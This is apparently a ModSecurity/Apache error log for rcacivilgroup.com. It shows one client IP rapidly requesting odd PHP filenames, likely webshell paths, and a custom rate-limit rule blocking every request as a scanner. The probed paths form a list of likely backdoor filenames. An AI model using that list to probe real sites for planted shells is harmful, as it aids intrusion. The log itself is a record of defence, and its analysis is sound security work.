[Sat Nov 15 01:09:54.886442 2025] [:error] [pid 45907:tid 45926] [client 4.205.91.17:62828] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "aRdiYlAqmYxCpnT9gJF-CAAAAU8"]
[Sat Nov 15 01:09:55.328394 2025] [:error] [pid 45909:tid 45978] [client 4.205.91.17:64719] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inde.php"] [unique_id "aRdiY8ZqItrYybG86kiRygAAAc0"]
[Sat Nov 15 01:09:55.911339 2025] [:error] [pid 45995:tid 46011] [client 4.205.91.17:64691] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "aRdiY8fhZrb6EV4SvFu7YgAAAgs"]
[Sat Nov 15 01:09:56.339296 2025] [:error] [pid 45995:tid 46002] [client 4.205.91.17:64718] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "aRdiZMfhZrb6EV4SvFu7aAAAAgI"]
[Sat Nov 15 01:09:56.872245 2025] [:error] [pid 45907:tid 45923] [client 4.205.91.17:64708] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "aRdiZFAqmYxCpnT9gJF-CQAAAUw"]
[Sat Nov 15 01:09:57.287739 2025] [:error] [pid 45995:tid 46016] [client 4.205.91.17:64692] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/classgoto24.php"] [unique_id "aRdiZcfhZrb6EV4SvFu7bwAAAhA"]
[Sat Nov 15 01:09:57.700821 2025] [:error] [pid 45995:tid 46008] [client 4.205.91.17:64751] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thh.php"] [unique_id "aRdiZcfhZrb6EV4SvFu7dAAAAgg"]
[Sat Nov 15 01:09:58.146403 2025] [:error] [pid 45907:tid 45932] [client 4.205.91.17:64640] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thh.php"] [unique_id "aRdiZlAqmYxCpnT9gJF-DQAAAVU"]
[Sat Nov 15 01:09:58.654033 2025] [:error] [pid 18513:tid 18540] [client 4.205.91.17:65343] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thh.php"] [unique_id "aRdiZvc94upQFzRWlUm8wAAAAFY"]
[Sat Nov 15 01:09:59.183110 2025] [:error] [pid 45995:tid 46007] [client 4.205.91.17:64701] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/thh.php"] [unique_id "aRdiZ8fhZrb6EV4SvFu7ewAAAgc"]
[Sat Nov 15 01:09:59.614379 2025] [:error] [pid 45907:tid 45921] [client 4.205.91.17:65297] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "aRdiZ1AqmYxCpnT9gJF-EAAAAUo"]
[Sat Nov 15 01:10:00.060684 2025] [:error] [pid 45907:tid 45913] [client 4.205.91.17:62842] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "aRdiaFAqmYxCpnT9gJF-EwAAAUI"]
[Sat Nov 15 01:10:00.476764 2025] [:error] [pid 45907:tid 45916] [client 4.205.91.17:64644] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "aRdiaFAqmYxCpnT9gJF-FQAAAUU"]
[Sat Nov 15 01:10:00.922903 2025] [:error] [pid 18513:tid 18534] [client 4.205.91.17:65386] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fffff.php"] [unique_id "aRdiaPc94upQFzRWlUm8wwAAAFA"]
[Sat Nov 15 01:10:01.364849 2025] [:error] [pid 45907:tid 45918] [client 4.205.91.17:62813] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "aRdiaVAqmYxCpnT9gJF-FwAAAUc"]
[Sat Nov 15 01:10:01.786160 2025] [:error] [pid 45907:tid 45935] [client 4.205.91.17:64643] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "aRdiaVAqmYxCpnT9gJF-GAAAAVg"]
[Sat Nov 15 01:10:02.252096 2025] [:error] [pid 18513:tid 18528] [client 4.205.91.17:64736] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "aRdiavc94upQFzRWlUm8xwAAAEo"]
[Sat Nov 15 01:10:02.678870 2025] [:error] [pid 18513:tid 18535] [client 4.205.91.17:65360] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/indo.php"] [unique_id "aRdiavc94upQFzRWlUm8zAAAAFE"]
[Sat Nov 15 01:10:03.101425 2025] [:error] [pid 18513:tid 18523] [client 4.205.91.17:64753] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fileas.php"] [unique_id "aRdia_c94upQFzRWlUm80QAAAEU"]
[Sat Nov 15 01:10:03.514330 2025] [:error] [pid 45909:tid 45986] [client 4.205.91.17:65313] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fileas.php"] [unique_id "aRdia8ZqItrYybG86kiR4wAAAdU"]
[Sat Nov 15 01:10:04.048989 2025] [:error] [pid 45995:tid 46012] [client 4.205.91.17:64765] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fileas.php"] [unique_id "aRdibMfhZrb6EV4SvFu7kQAAAgw"]
[Sat Nov 15 01:10:04.460608 2025] [:error] [pid 45908:tid 45943] [client 4.205.91.17:65394] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fileas.php"] [unique_id "aRdibGWG19mWwZX7KatcYAAAAAU"]
[Sat Nov 15 01:10:04.873183 2025] [:error] [pid 45909:tid 45977] [client 4.205.91.17:64645] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "aRdibMZqItrYybG86kiR6AAAAcw"]
[Sat Nov 15 01:10:05.299191 2025] [:error] [pid 45907:tid 45911] [client 4.205.91.17:65306] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "aRdibVAqmYxCpnT9gJF-IAAAAUA"]
[Sat Nov 15 01:10:05.710624 2025] [:error] [pid 45907:tid 45917] [client 4.205.91.17:65362] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "aRdibVAqmYxCpnT9gJF-IgAAAUY"]
[Sat Nov 15 01:10:06.137979 2025] [:error] [pid 45909:tid 45989] [client 4.205.91.17:65312] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/yellow.php"] [unique_id "aRdibsZqItrYybG86kiR6wAAAdg"]
[Sat Nov 15 01:10:06.561309 2025] [:error] [pid 45995:tid 46018] [client 4.205.91.17:64732] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "aRdibsfhZrb6EV4SvFu7pAAAAhI"]
[Sat Nov 15 01:10:06.981798 2025] [:error] [pid 45995:tid 46002] [client 4.205.91.17:65299] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "aRdibsfhZrb6EV4SvFu7pgAAAgI"]
[Sat Nov 15 01:10:07.421989 2025] [:error] [pid 18513:tid 18528] [client 4.205.91.17:65322] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "aRdib_c94upQFzRWlUm87wAAAEo"]
[Sat Nov 15 01:10:07.834257 2025] [:error] [pid 45909:tid 45985] [client 4.205.91.17:64656] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wfile.php"] [unique_id "aRdib8ZqItrYybG86kiR7QAAAdQ"]
[Sat Nov 15 01:10:08.259519 2025] [:error] [pid 45909:tid 45968] [client 4.205.91.17:61972] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "aRdicMZqItrYybG86kiR7wAAAcM"]
[Sat Nov 15 01:10:08.691284 2025] [:error] [pid 45995:tid 46004] [client 4.205.91.17:64742] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "aRdicMfhZrb6EV4SvFu7sQAAAgQ"]
[Sat Nov 15 01:10:09.237696 2025] [:error] [pid 45909:tid 45988] [client 4.205.91.17:65291] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "aRdiccZqItrYybG86kiR9AAAAdc"]
[Sat Nov 15 01:10:09.653643 2025] [:error] [pid 45908:tid 45948] [client 4.205.91.17:64743] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/class20.php"] [unique_id "aRdicWWG19mWwZX7KatcfQAAAAo"]
[Sat Nov 15 01:10:10.076966 2025] [:error] [pid 18513:tid 18537] [client 4.205.91.17:64713] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/build.php"] [unique_id "aRdicvc94upQFzRWlUm89gAAAFM"]
[Sat Nov 15 01:10:10.490997 2025] [:error] [pid 18513:tid 18540] [client 4.205.91.17:65296] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/build.php"] [unique_id "aRdicvc94upQFzRWlUm8-gAAAFY"]
[Sat Nov 15 01:10:10.904189 2025] [:error] [pid 45907:tid 45934] [client 4.205.91.17:65324] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/build.php"] [unique_id "aRdiclAqmYxCpnT9gJF-KQAAAVc"]
[Sat Nov 15 01:10:11.330925 2025] [:error] [pid 45907:tid 45915] [client 4.205.91.17:64747] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/build.php"] [unique_id "aRdic1AqmYxCpnT9gJF-KwAAAUQ"]
[Sat Nov 15 01:10:11.772057 2025] [:error] [pid 45907:tid 45911] [client 4.205.91.17:62777] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aRdic1AqmYxCpnT9gJF-LQAAAUA"]
[Sat Nov 15 01:10:12.239665 2025] [:error] [pid 18513:tid 18531] [client 4.205.91.17:62061] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aRdidPc94upQFzRWlUm9AQAAAE0"]
[Sat Nov 15 01:10:12.653329 2025] [:error] [pid 18513:tid 18526] [client 4.205.91.17:64649] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aRdidPc94upQFzRWlUm9AwAAAEg"]
[Sat Nov 15 01:10:13.071935 2025] [:error] [pid 45908:tid 45944] [client 4.205.91.17:64746] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "aRdidWWG19mWwZX7KatckwAAAAY"]
[Sat Nov 15 01:10:13.490220 2025] [:error] [pid 45909:tid 45973] [client 4.205.91.17:65392] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usep.php"] [unique_id "aRdidcZqItrYybG86kiR9wAAAcg"]
[Sat Nov 15 01:10:13.904448 2025] [:error] [pid 45909:tid 45976] [client 4.205.91.17:65366] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usep.php"] [unique_id "aRdidcZqItrYybG86kiR-QAAAcs"]
[Sat Nov 15 01:10:14.324619 2025] [:error] [pid 45995:tid 46023] [client 4.205.91.17:64714] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usep.php"] [unique_id "aRdidsfhZrb6EV4SvFu7wAAAAhc"]
[Sat Nov 15 01:10:14.760637 2025] [:error] [pid 45909:tid 45975] [client 4.205.91.17:64715] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usep.php"] [unique_id "aRdidsZqItrYybG86kiR-gAAAco"]
[Sat Nov 15 01:10:15.193525 2025] [:error] [pid 45907:tid 45926] [client 4.205.91.17:64708] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wa.php"] [unique_id "aRdid1AqmYxCpnT9gJF-LwAAAU8"]
[Sat Nov 15 01:10:15.613888 2025] [:error] [pid 18513:tid 18524] [client 4.205.91.17:64689] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wa.php"] [unique_id "aRdid_c94upQFzRWlUm9CgAAAEY"]
[Sat Nov 15 01:10:16.046139 2025] [:error] [pid 45908:tid 45959] [client 4.205.91.17:62073] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wa.php"] [unique_id "aRdieGWG19mWwZX7KatcmAAAABU"]
[Sat Nov 15 01:10:16.673851 2025] [:error] [pid 45908:tid 45958] [client 4.205.91.17:65320] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wa.php"] [unique_id "aRdieGWG19mWwZX7KatcnAAAABQ"]
[Sat Nov 15 01:10:17.100950 2025] [:error] [pid 45907:tid 45927] [client 4.205.91.17:65371] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wb.php"] [unique_id "aRdieVAqmYxCpnT9gJF-MwAAAVA"]
[Sat Nov 15 01:10:17.538203 2025] [:error] [pid 45909:tid 45989] [client 4.205.91.17:65285] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wb.php"] [unique_id "aRdiecZqItrYybG86kiSAwAAAdg"]
[Sat Nov 15 01:10:17.958566 2025] [:error] [pid 45907:tid 45912] [client 4.205.91.17:64668] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wb.php"] [unique_id "aRdieVAqmYxCpnT9gJF-NgAAAUE"]
[Sat Nov 15 01:10:18.445494 2025] [:error] [pid 18513:tid 18542] [client 4.205.91.17:65326] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wb.php"] [unique_id "aRdievc94upQFzRWlUm9EQAAAFg"]
[Sat Nov 15 01:10:18.875765 2025] [:error] [pid 45909:tid 45975] [client 4.205.91.17:62811] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "aRdiesZqItrYybG86kiSCAAAAco"]
[Sat Nov 15 01:10:19.336082 2025] [:error] [pid 18513:tid 18524] [client 4.205.91.17:65393] [client 4.205.91.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file1.php"] [unique_id "aRdie_c94upQFzRWlUm9EwAAAEY"]
